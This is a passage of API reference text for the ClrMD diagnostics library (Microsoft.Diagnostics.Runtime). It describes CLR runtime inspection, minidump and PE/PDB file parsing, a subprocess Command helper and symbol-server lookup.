flags about the state of a CLR when it is being attached to in the native pipeline debugging model This interface exposes the native pipeline architecture startup APIs Detects if a native module represents a CLR and if so provides the debugging interface and versioning information The native base address of a module which might be a CLR The process abstraction which can be used for inspection A callback interface for locating version specific debug libraries such as mscordbi.dll and mscordacwks.dll The highest version of the CLR/debugging libraries which the caller can support The CLR's debugging interface or null if no debugger was detected The version of the CLR detected or null if no CLR was detected Flags which have additional information about the CLR. The Guid for the interface requested. See ClrDebuggingProcessFlags for more details HResults.S_OK if an appropriate version CLR was detected, otherwise an appropriate error hresult Determines if the module is no longer in use A module handle that was provided via the ILibraryProvider HResults.S_OK if the module can be unloaded, HResults.S_FALSE if it is in use or an appropriate error hresult otherwise Provides version specific debugging libraries such as mscordbi.dll and mscorwks.dll during startup in the native pipeline debugging architecture Provides a version specific debugging library The name of the library being requested The timestamp of the library being requested as specified in the PE header The SizeOfImage of the library being requested as specified in the PE header An OS handle to the requested library HResults.S_OK if the library was located, otherwise any appropriate error hresult While ClrMD provides a managed PDB reader and PDB locator, it would be inefficient to load our own PDB reader into memory if the user already has one available. For ClrMD operations which require reading data from PDBs, you will need to provide this implementation. (This is currently only required for debugging .Net Native applications). Loads a PDB by its given guid/age and provides an ISymbolResolver for that PDB. The name of the pdb. This may be a full path and not just a simple name. The guid of the pdb to locate. The age of the pdb to locate. A symbol resolver for the given pdb. Null if none was found. ISymbolResolver represents a single symbol module (PDB) loaded into the process. Retrieves the given symbol's name based on its RVA. A relative virtual address in the module. The symbol corresponding to RVA. Thrown when we fail to read memory from the target process. The address of memory that could not be read. Constructor The address of memory that could not be read. Exception thrown by Microsoft.Diagnostics.Runtime unless there is a more appropriate exception subclass. Specific HRESULTS for errors. Unknown error occured. The dll of the specified runtime (mscorwks.dll or clr.dll) is loaded into the process, but has not actually been initialized and thus cannot be debugged. Something unexpected went wrong with the debugger we used to attach to the process or load the crash dump. Something unexpected went wrong when requesting data from the target process. Hit an unexpected (non-recoverable) dac error. The caller attempted to re-use an object after calling ClrRuntime.Flush. See the documentation for ClrRuntime.Flush for more details. An error occurred while processing the given crash dump. There is an issue with the configuration of this application. The HRESULT of this exception. Represents a single runtime in a target process or crash dump. This serves as the primary entry point for getting diagnostic information. The ClrInfo of the current runtime. Returns the DataTarget associated with this runtime. Whether or not the process is running in server GC mode or not. Enumerates the OS thread ID of GC threads in the runtime. The number of logical GC heaps in the process. This is always 1 for a workstation GC, and usually it's the number of logical processors in a server GC application. Returns the pointer size of the target process. Enumerates the list of appdomains in the process. Note the System appdomain and Shared AppDomain are omitted. Give access to the System AppDomain Give access to the Shared AppDomain Enumerates all managed threads in the process. Only threads which have previously run managed code will be enumerated. Enumerates all objects currently on the finalizer queue. (Not finalizable objects, but objects which have been collected and will be imminently finalized.) Returns a ClrMethod by its internal runtime handle (on desktop CLR this is a MethodDesc). The method handle (MethodDesc) to look up. The ClrMethod for the given method handle, or null if no method was found. Returns the CCW data associated with the given address. This is used when looking at stowed exceptions in CLR. The address of the CCW obtained from stowed exception data. The CcwData describing the given CCW, or null. Read data out of the target process. The address to start the read from. The buffer to write memory to. How many bytes to read (must be less than/equal to buffer.Length) The number of bytes actually read out of the process. This will be less than bytes requested if the request falls off the end of an allocation. False if the memory is not readable (free or no read permission), true if *some* memory was read. Reads a pointer value out of the target process. This function reads only the target's pointer size, so if this is used on an x86 target, only 4 bytes is read and written to val. The address to read from. The value at that address. True if the read was successful, false otherwise. Enumerates a list of GC handles currently in the process. Note that this list may be incomplete depending on the state of the process when we attempt to walk the handle table. The list of GC handles in the process, NULL on catastrophic error. Gets the GC heap of the process. Returns data on the CLR thread pool for this runtime. Enumerates regions of memory which CLR has allocated with a description of what data resides at that location. Note that this does not return every chunk of address space that CLR allocates. An enumeration of memory regions in the process. Attempts to get a ClrMethod for the given instruction pointer. This will return NULL if the given instruction pointer is not within any managed method. A list of all modules loaded into the process. Flushes the dac cache. This function MUST be called any time you expect to call the same function but expect different results. For example, after walking the heap, you need to call Flush before attempting to walk the heap again. After calling this function, you must discard ALL ClrMD objects you have cached other than DataTarget and ClrRuntime and re-request the objects and data you need. (E.G. if you want to use the ClrHeap object after calling flush, you must call ClrRuntime.GetHeap again after Flush to get a new instance.) Delegate called when the RuntimeFlushed event is triggered. Which runtime was flushed. Called whenever the runtime is being flushed. All references to ClrMD objects need to be released and not used for the given runtime after this call. Call when flushing the runtime. Whether or not the runtime has component method tables for arrays. This is an extra field in array objects on the heap, which was removed in v4.6 of desktop clr. Provides information about CLR's threadpool. The total number of threadpool worker threads in the process. The number of running threadpool threads in the process. The number of idle threadpool threads in the process. The minimum number of threadpool threads allowable. The maximum number of threadpool threads allowable. Returns the minimum number of completion ports (if any). Returns the maximum number of completion ports. Returns the CPU utilization of the threadpool (as a percentage out of 100). The number of free completion port threads. The maximum number of free completion port threads. Enumerates the work items on the threadpool (native side). Enumerates work items on the thread pool (managed side). A managed threadpool object. The object address of this entry. The type of Object. The type of work item this is. Unknown. Callback for an async timer. Async callback. From ThreadPool.QueueUserWorkItem. Timer delete callback. Represents a work item on CLR's thread pool (native side). The type of work item this is. Returns the callback's address. Returns the pointer to the user's data. Types of Clr handles. Weak, short lived handle. Weak, long lived handle. Strong handle. Strong handle, prevents relocation of target object. RefCounted handle (strong when the reference count is greater than 0). A weak handle which may keep its "secondary" object alive if the "target" object is also alive. A strong, pinned handle (keeps the target object from being relocated), used for async IO operations. Strong handle used internally for book keeping. Represents a Clr handle in the target process. The address of the handle itself. That is, *Address == Object. The Object the handle roots. The the type of the Object. Whether the handle is strong (roots the object) or not. Whether or not the handle pins the object (doesn't allow the GC to relocate it) or not. Gets the type of handle. If this handle is a RefCount handle, this returns the reference count. RefCount handles with a RefCount > 0 are strong. NOTE: v2 CLR CANNOT determine the RefCount. We always set the RefCount to 1 in a v2 query since a strong RefCount handle is the common case. Set only if the handle type is a DependentHandle. Dependent handles add an extra edge to the object graph. Meaning, this.Object now roots the dependent target, but only if this.Object is alive itself. NOTE: CLRs prior to v4.5 cannot obtain the dependent target. This field will be 0 for any CLR prior to v4.5. The type of the dependent target, if non 0. The AppDomain the handle resides in. ToString override. Types of memory regions in a Clr process. Data on the loader heap. Data on the loader heap. Data on the stub heap. Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Clr implementation detail (this is here to allow you to distinguish from other heap types). Heap for JIT code data. Heap for JIT loader data. Heap for module jump thunks. Heap for module lookup tables. A segment on the GC heap (committed memory). A segment on the GC heap (reserved, but not committed, memory). A portion of Clr's handle table. Represents a region of memory in the process which Clr allocated and controls. The start address of the memory region. The size of the memory region in bytes. The type of heap/memory that the region contains. The AppDomain pointer that corresponds to this heap. You can obtain the name of the AppDomain index or name by calling the appropriate function on RuntimeBase. Note: HasAppDomainData must be true before getting this property. The Module pointer that corresponds to this heap. You can obtain the filename of the module with this property. Note: HasModuleData must be true or this property will be null. Returns the heap number associated with this data. Returns -1 if no GC heap is associated with this memory region. Returns the gc segment type associated with this data. Only callable if HasGCHeapData is true. Returns a string describing the region of memory (for example "JIT Code Heap" or "GC Segment"). Whether or not to include additional data such as the module, AppDomain, or GC Heap associaed with it. Equivalent to GetDisplayString(false). CommandOptions is a helper class for the Command class. It stores options that affect the behavior of the execution of ETWCommands and is passes as a parapeter to the constuctor of a Command. It is useful for these options be be on a separate class (rather than on Command itself), because it is reasonably common to want to have a set of options passed to several commands, which is not easily possible otherwise. Can be assigned to the Timeout Property to indicate infinite timeout. CommanOptions holds a set of options that can be passed to the constructor to the Command Class as well as Command.Run* Return a copy an existing set of command options The copy of the command options Normally commands will throw if the subprocess returns a non-zero exit code. NoThrow suppresses this. Updates the NoThrow propery and returns the updated commandOptions. Updated command options ShortHand for UseShellExecute and NoWait Updates the Start propery and returns the updated commandOptions. Normally commands are launched with CreateProcess. However it is also possible use the Shell Start API. This causes Command to look up the executable differently Updates the Start propery and returns the updated commandOptions. Indicates that you want to hide any new window created. Updates the NoWindow propery and returns the updated commandOptions. Indicates that you want don't want to wait for the command to complete. Updates the NoWait propery and returns the updated commandOptions. Indicates that the command must run at elevated Windows privledges (causes a new command window) Updates the Elevate propery and returns the updated commandOptions. By default commands have a 10 minute timeout (600,000 msec), If this is inappropriate, the Timeout property can change this. Like all timouts in .NET, it is in units of milliseconds, and you can use CommandOptions.Infinite to indicate no timeout. Updates the Timeout propery and returns the updated commandOptions. CommandOptions.Infinite can be used for infinite Indicates the string will be sent to Console.In for the subprocess. Updates the Input propery and returns the updated commandOptions. Indicates the current directory the subProcess will have. Updates the CurrentDirectory propery and returns the updated commandOptions. Indicates the standard output and error of the command should be redirected to a archiveFile rather than being stored in Memory in the 'Output' property of the command. Updates the OutputFile propery and returns the updated commandOptions. Indicates the standard output and error of the command should be redirected to a a TextWriter rather than being stored in Memory in the 'Output' property of the command. Updates the OutputStream propery and returns the updated commandOptions. Gets the Environment variables that will be set in the subprocess that differ from current process's environment variables. Any time a string of the form %VAR% is found in a value of a environment variable it is replaced with the value of the environment variable at the time the command is launched. This is useful for example to update the PATH environment variable eg. "%PATH%;someNewPath" Adds the environment variable with the give value to the set of environmetn variables to be passed to the sub-process and returns the updated commandOptions. Any time a string of the form %VAR% is found in a value of a environment variable it is replaced with the value of the environment variable at the time the command is launched. This is useful for example to update the PATH environment variable eg. "%PATH%;someNewPath" Command represents a running of a command lineNumber process. It is basically a wrapper over System.Diagnostics.Process, which hides the complexitity of System.Diagnostics.Process, and knows how to capture output and otherwise makes calling commands very easy. The time the process started. returns true if the process has exited. The time the processed Exited. (HasExited should be true before calling) The duration of the command (HasExited should be true before calling) The operating system ID for the subprocess. The process exit code for the subprocess. (HasExited should be true before calling) Often this does not need to be checked because Command.Run will throw an exception if it is not zero. However it is useful if the CommandOptions.NoThrow property was set. The standard output and standard error output from the command. This is accumulated in real time so it can vary if the process is still running. This property is NOT available if the CommandOptions.OutputFile or CommandOptions.OutputStream is specified since the output is being redirected there. If a large amount of output is expected (> 1Meg), the Run.AddOutputStream(Stream) is recommended for retrieving it since the large string is never materialized at one time. Returns that CommandOptions structure that holds all the options that affect the running of the command (like Timeout, Input ...) Run 'commandLine', sending the output to the console, and wait for the command to complete. This simulates what batch filedo when executing their commands. It is a bit more verbose by default, however The command lineNumber to run as a subprocess Additional qualifiers that control how the process is run A Command structure that can be queried to determine ExitCode, Output, etc. Run 'commandLine' as a subprocess and waits for the command to complete. Output is captured and placed in the 'Output' property of the returned Command structure. The command lineNumber to run as a subprocess Additional qualifiers that control how the process is run A Command structure that can be queried to determine ExitCode, Output, etc. Launch a new command and returns the Command object that can be used to monitor the restult. It does not wait for the command to complete, however you can call 'Wait' to do that, or use the 'Run' or 'RunToConsole' methods. */ The command lineNumber to run as a subprocess Additional qualifiers that control how the process is run A Command structure that can be queried to determine ExitCode, Output, etc. Create a subprocess to run 'commandLine' with no special options. The command lineNumber to run as a subprocess Wait for a started process to complete (HasExited will be true on return) Wait returns that 'this' pointer. Throw a error if the command exited with a non-zero exit code printing useful diagnostic information along with the thrown message. This is useful when NoThrow is specified, and after post-processing you determine that the command really did fail, and an normal Command.Run failure was the appropriate action. An additional message to print in the throw (can be null) Get the underlying process object. Generally not used. Kill the process (and any child processses (recursively) associated with the running command). Note that it may not be able to kill everything it should if the child-parent' chain is broken by a child that creates a subprocess and then dies itself. This is reasonably uncommon, however. Put double quotes around 'str' if necessary (handles quotes quotes. Given a string 'commandExe' look for it on the path the way cmd.exe would. Returns null if it was not found. Immutable pointer into the dump file. Has associated size for runtime checking. Returns a DumpPointer to the same memory, but associated with a smaller size. smaller size to shrink the pointer to. new DumpPointer Copy numberBytesToCopy from the DumpPointer into &destinationBuffer[indexDestination]. Copy raw bytes to buffer buffer to copy to. number of bytes to copy. Caller ensures the destinationBuffer is large enough Marshal this into a managed structure, and do bounds checks. Type of managed structure to marshal as a managed copy of the structure Read contents of a minidump. If we have a 32-bit dump, then there's an addressing collision possible. OS debugging code sign extends 32 bit wide addresses into 64 bit wide addresses. The CLR does not sign extend, thus you cannot round-trip target addresses exposed by this class. Currently we read these addresses once and don't hand them back, so it's not an issue. Type of stream within the minidump. Remove the OS sign-extension from a target address. Describes a data stream within the minidump Size of the stream in bytes. Offset (in bytes) from the start of the minidump to the data stream. True iff the data is missing. Describes a data stream within the minidump Size of the stream in bytes. Offset (in bytes) from the start of the minidump to the data stream. Describes a range of memory in the target. Starting Target address of the memory range. Location in minidump containing the memory corresponding to StartOfMemoryRage Describes a range of memory in the target. This is used for full-memory minidumps where all of the raw memory is laid out sequentially at the end of the dump. There is no need for individual RVAs as the RVA is the base RVA plus the sum of the preceeding data blocks. Starting Target address of the memory range. Size of memory in bytes. The struct that holds an EXCEPTION_RECORD The struct that holds contents of a dump's MINIDUMP_STREAM_TYPE.ExceptionStream which is a MINIDUMP_EXCEPTION_STREAM. Describes system information about the system the dump was taken on. This is returned by the MINIDUMP_STREAM_TYPE.SystemInfoStream stream. Address that module is loaded within target. Size of image within memory copied from IMAGE_OPTIONAL_HEADER.SizeOfImage. Note that this is usually different than the file size. Checksum, copied from IMAGE_OPTIONAL_HEADER.CheckSum. May be 0 if not optional header is not available. TimeStamp in Unix 32-bit time_t format. Copied from IMAGE_FILE_HEADER.TimeDateStamp RVA within minidump of the string containing the full path of the module. Gets TimeDateStamp as a DateTime. This is based off a 32-bit value and will overflow in 2038. This is not the same as the timestamps on the file. Raw MINIDUMP_THREAD structure imported from DbgHelp.h Describes the memory location of the thread's raw stack. List of Threads in the minidump. Translates from an RVA to Dump Pointer. RVA within the dump DumpPointer representing RVA. Translates from an RVA to Dump Pointer. RVA within the dump DumpPointer representing RVA. Translates from an RVA to Dump Pointer. RVA within the dump DumpPointer representing RVA. Gets a MINIDUMP_STRING at the given RVA as an System.String. RVA of MINIDUMP_STRING System.String representing contents of MINIDUMP_STRING at the given RVA Gets a MINIDUMP_STRING at the given DumpPointer as an System.String. DumpPointer to a MINIDUMP_STRING System.String representing contents of MINIDUMP_STRING at the given location in the dump Read memory from the dump file and return results in newly allocated buffer target address in dump to read length bytes from number of bytes to read newly allocated byte array containing dump memory All memory requested must be readable or it throws. Read memory from the dump file and copy into the buffer target address in dump to read buffer.Length bytets from destination buffer to copy target memory to. count of bytes to read All memory requested must be readable or it throws. Read memory from target and copy it to the local buffer pointed to by destinationBuffer. Throw if any portion of the requested memory is unavailable. target address in dump file to copy destinationBufferSizeInBytes bytes from. pointer to copy the memory to. size of the destinationBuffer in bytes. Read memory from target and copy it to the local buffer pointed to by destinationBuffer. target address in dump file to copy destinationBufferSizeInBytes bytes from. pointer to copy the memory to. size of the destinationBuffer in bytes. Number of contiguous bytes successfuly copied into the destination buffer. ToString override. string description of the DumpReader. Constructor filename to open dump file Dispose method. Get a DumpPointer for the given stream. That can then be used to further decode the stream. type of stream to lookup DumpPointer refering into the stream. Get a DumpPointer for the given stream. That can then be used to further decode the stream. type of stream to lookup DumpPointer refering into the stream. True if stream was succesfully retrived Version numbers of OS that this dump was taken on. Operating system that the dump was taken on. Friendly helper to get full OS version string (including CSDVersion) that the dump was taken on. This is really just to compensate that public OperatingSystem's ctor doesn't let us add the service pack string, so we need a special helper for that. The processor architecture that this dump was taken on. Get the thread for the given thread Id. thread Id to lookup. a DumpThread object representing a thread in the dump whose thread id matches the requested id. Enumerate all the native threads in the dump an enumerate of DumpThread objects Check on whether there's an exception stream in the dump true iff there is a MINIDUMP_EXCEPTION_STREAM in the dump. Return the TID from the exception stream. The TID from the exception stream. Lookup the first module in the target with a matching. The name can either be a matching full name, or just shortname The first DumpModule that has a matching name. Return the module containing the target address, or null if no match. address in target Null if no match. Else a DumpModule such that the target address is in between the range specified by the DumpModule's .BaseAddress and .Size property This can be useful for symbol lookups or for using module images to supplement memory read requests for minidumps. Enumerate all the modules in the dump. Represents a native module in a dump file. This is a flyweight object. Constructor owning DumpReader unmanaged dump structure describing the module Usually, the full filename of the module. Since the dump may not be captured on the local machine, be careful of using this filename with the local file system. In some cases, this could be a short filename, or unavailable. Base address within the target of where this module is loaded. Size of this module in bytes as loaded in the target. UTC Time stamp of module. This is based off a 32-bit value and will overflow in 2038. This is different than any of the filestamps. Call ToLocalTime() to convert from UTC. Gets the raw 32 bit time stamp. Use the Timestamp property to get this as a System.DateTime. Represents a thread from a minidump file. This is a flyweight object. Constructor for DumpThread owning DumpReader object unmanaged structure in dump describing the thread The native OS Thread Id of this thread. Get a thread's context using a raw buffer and size Utility class to provide various random Native debugging operations. Determine if this is a valid DOS image. Marshal a structure from the given buffer. Effectively returns ((T*) &buffer[offset]). type of structure to marshal array of bytes representing binary buffer to marshal offset in buffer to marhsal from marshaled structure Gets the raw compilation timestamp of a file. This can be matched with the timestamp of a module in a dump file. NOTE: This is NOT the same as the file's creation or last-write time. 0 for common failures like file not found or invalid format. Throws on gross errors. Else returns the module's timestamp for comparison against the minidump module's stamp. This class represents a constant value in source code, such as: const int Foo = 3; The variable name of the constant. The metadata token of this constant. The value of this constant. Represents a single function in a module. Sequence points of this function. Metadata token of this function. The scopes of this function. Locates a PdbScope by its IL offset. The offset in the function to find the scope for. The scope if one was found, null if none match it. Represents a sequence point (multiple lines) in a source file. The IL offset of this line. The first line of this sequence point. The last line of this sequence point. The first column of the first line of this sequence point. The last column of the last line of this sequence point. ToString override. A collection of sequence points (usually for a single function). The source file these sequence points came from. A list of IL sequence points in this collection. Represents a scope within a function or class. A list of constants defined in this scope. A list of variable slots in this function. A list of sub-scopes within this scope. A list of namespaces used in this scope. The address of this scope. The IL offset of this scope. The length of this scope. The representation of a local variable slot. The slot number. The name of this variable slot. the flags associated with this slot. Simply returns Name. Name A source file in the program. The name of the source file. The DocType for this source. Pdb source language. Pdb source vendor Pdb algorithm id. Checksum for this pdb. The embeded source in this pdb. An object that can map offsets in an IL stream to source locations and block scopes. Gets the properties of a given pdb. Throws IOException on error. The pdb file to load. The signature of pdbFile. The age of pdbFile. Allocates an object that can map some kinds of ILocation objects to IPrimarySourceLocation objects. For example, a PDB reader that maps offsets in an IL stream to source locations. Constructs a PdbReader from a path on disk. The pdb on disk to load. A collection of all sources in this pdb. A collection of all functions in this pdb. The version of this PDB. The Guid signature of this pdb. Should be compared to the corresponding pdb signature in the matching PEFile. The age of this pdb. Should be compared to the corresponding pdb age in the matching PEFile. Closes all of the source files that have been opened to provide the contents source locations corresponding to IL offsets. Closes all of the source files that have been opened to provide the contents source locations corresponding to IL offsets. Retreives a PdbFunction by its metadata token. PEFile is a reader for the information in a Portable Exectable (PE) FILE. This is what EXEs and DLLs are. It can read both 32 and 64 bit PE files. Parses a PEFile from a given stream. If it is valid, a new PEFile object is constructed and returned. Otherwise, null is returned. Create a new PEFile header reader. The path to the file on disk. Constructor which allows you to specify a stream instead of file on disk. The stream to read. Whether the stream is currently in virtual memory (true) or if this reading from disk (false). The Header for the PE file. This contains the infor in a link /dump /headers Looks up the debug signature information in the EXE. Returns true and sets the parameters if it is found. If 'first' is true then the first entry is returned, otherwise (by default) the last entry is used (this is what debuggers do today). Thus NGEN images put the IL PDB last (which means debuggers pick up that one), but we can set it to 'first' if we want the NGEN PDB. Holds information about the pdb for the current PEFile Whether this object has been disposed. Gets the File Version Information that is stored as a resource in the PE file. (This is what the version tab a file's property page is populated with). For side by side dlls, the manifest that decribes the binding information is stored as the RT_MANIFEST resource, and it is an XML string. This routine returns this. Closes any file handles and cleans up resources. A PEHeader is a reader of the data at the begining of a PEFile. If the header bytes of a PEFile are read or mapped into memory, this class can parse it when given a pointer to it. It can read both 32 and 64 bit PE files. Parses the given buffer for the header of a PEFile. If it can be parsed correctly, a new PEHeader object is constructed from the buffer and returned. Otherwise, null is returned. The total s,ize of the header, including section array of the the PE header. Given a virtual address to data in a mapped PE file, return the relative virtual address (displacement from start of the image) Given a relative virtual address (displacement from start of the image) return the virtual address to data in a mapped PE file Given a relative virtual address (displacement from start of the image) return a offset in the file data for that data. Given a relative virtual address (displacement from start of the image) return a offset in the file data for that data, if the RVA is valid. If the RVA is invalid, the method will return false. Otherwise, the method will return true and store the offset in the result parameter. Returns true if this is PE file for a 64 bit architecture. Returns true if this file contains managed code (might also contain native code). Returns the 'Signture' of the PE HEader PE\0\0 = 0x4550, used for sanity checking. The machine this PE file is intended to run on PE files have a number of sections that represent regions of memory with the access permisions. This is the nubmer of such sections. The the PE file was created represented as the number of seconds since Jan 1 1970 The the PE file was created represented as a DateTime object PointerToSymbolTable (see IMAGE_FILE_HEADER in PE File spec) NumberOfSymbols (see IMAGE_FILE_HEADER PE File spec) SizeOfOptionalHeader (see IMAGE_FILE_HEADER PE File spec) Characteristics (see IMAGE_FILE_HEADER PE File spec) Magic (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorLinkerVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorLinkerVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfCode (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfInitializedData (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfUninitializedData (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) AddressOfEntryPoint (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) BaseOfCode (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) ImageBase (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SectionAlignment (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) FileAlignment (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorOperatingSystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorOperatingSystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorImageVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorImageVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MajorSubsystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) MinorSubsystemVersion (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) Win32VersionValue (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfImage (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfHeaders (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) CheckSum (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) Subsystem (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) DllCharacteristics (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfStackReserve (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfStackCommit (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfHeapReserve (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) SizeOfHeapCommit (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) LoaderFlags (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) NumberOfRvaAndSizes (see IMAGE_OPTIONAL_HEADER32 or IMAGE_OPTIONAL_HEADER64 in PE File spec) returns the data directory (virtual address an blob, of a data directory with index 'idx'. 14 are currently defined. Return the data directory for DLL Exports see PE file spec for more Return the data directory for DLL Imports see PE file spec for more Return the data directory for DLL Resources see PE file spec for more Return the data directory for DLL Exceptions see PE file spec for more Return the data directory for DLL securiy certificates (Authenticode) see PE file spec for more Return the data directory Image Base Relocations (RELOCS) see PE file spec for more Return the data directory for Debug information see PE file spec for more Return the data directory for DLL Exports see PE file spec for more Return the data directory for GlobalPointer (IA64) see PE file spec for more Return the data directory for THread local storage see PE file spec for more Return the data directory for Load Configuration see PE file spec for more Return the data directory for Bound Imports see PE file spec for more Return the data directory for the DLL Import Address Table (IAT) see PE file spec for more Return the data directory for Delayed Imports see PE file spec for more see PE file spec for more .NET Runtime infomration. The Machine types supporte by the portable executable (PE) File format Unknown machine type Intel X86 CPU Intel IA64 ARM 32 bit Arm 64 bit Represents a Portable Executable (PE) Data directory. This is just a well known optional 'Blob' of memory (has a starting point and size) The start of the data blob when the file is mapped into memory The length of the data blob. FileVersionInfo reprents the extended version formation that is optionally placed in the PE file resource area. The verison string Comments to supplement the file version A PEBuffer represents This class is a general purpose symbol locator and binary locator. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The module to locate. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a dac via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. Note that the dac should not validate if the properties of the file match the one it was indexed under. The dac to locate. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate the pdb for a given module. The module to locate the pdb for. A full path on disk (local) of where the pdb was copied to. Attempts to locate the pdb for a given module. The pdb to locate. A full path on disk (local) of where the pdb was copied to. Attempts to locate a pdb based on its name, guid, and revision number. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Copies the given file from the input stream into fullDestPath. The input stream to copy the file from. The source of this file. This is for informational/logging purposes and shouldn't be opened directly. The destination path of where the file should go on disk. The length of the given file. (Also for informational purposes, do not use this as part of a copy loop. A task indicating when the copy is completed. The raw symbol path. You should probably use the SymbolPath property instead. The raw symbol cache. You should probably use the SymbolCache property instead. The timeout (in milliseconds) used when contacting each individual server. This is not a total timeout for the entire symbol server operation. A set of pdbs that we did not find when requested. This set is SymbolLocator specific (not global like successful downloads) and is cleared when we change the symbol path or cache. A set of files that we did not find when requested. This set is SymbolLocator specific (not global like successful downloads) and is cleared when we change the symbol path or cache. Constructor. Return the string representing a symbol path for the 'standard' microsoft symbol servers. This returns the public msdl.microsoft.com server if outside Microsoft. Retrieves a list of the default Microsoft symbol servers. This property gets and sets the global _NT_SYMBOL_PATH environment variable. This is the global setting for symbol paths on a computer. Gets or sets the local symbol file cache. This is the location that all symbol files are downloaded to on your computer. Gets or sets the SymbolPath this object uses to attempt to find PDBs and binaries. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The module to locate. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a dac via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. Note that the dac should not validate if the properties of the file match the one it was indexed under. The dac to locate. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate the pdb for a given module. The module to locate the pdb for. A full path on disk (local) of where the pdb was copied to. Attempts to locate the pdb for a given module. The pdb to locate. A full path on disk (local) of where the pdb was copied to. Attempts to locate a pdb based on its name, guid, and revision number. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Validates whether a pdb on disk matches the given Guid/revision. Validates whether a file on disk matches the properties we expect. The full path on disk of a PEImage to inspect. The build timestamp we expect to match. The build image size we expect to match. Whether we should actually validate the imagesize/timestamp or not. Copies a given stream to a file. The stream of data to copy. The original source location of "stream". This may be a URL or null. The full destination path to copy the file to. A hint as to the length of the stream. This may be 0 or negative if the length is unknown. True if the method successfully copied the file, false otherwise. Writes diagnostic messages about symbol loading to System.Diagnostics.Trace. Figuring out symbol issues can be tricky, so if you override methods in SymbolLocator, be sure to trace the information here. Called when changing the symbol file path or cache. In v4.5, this class supports multithreading. Default implementation of a symbol locator. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. Attempts to locate a pdb based on its name, guid, 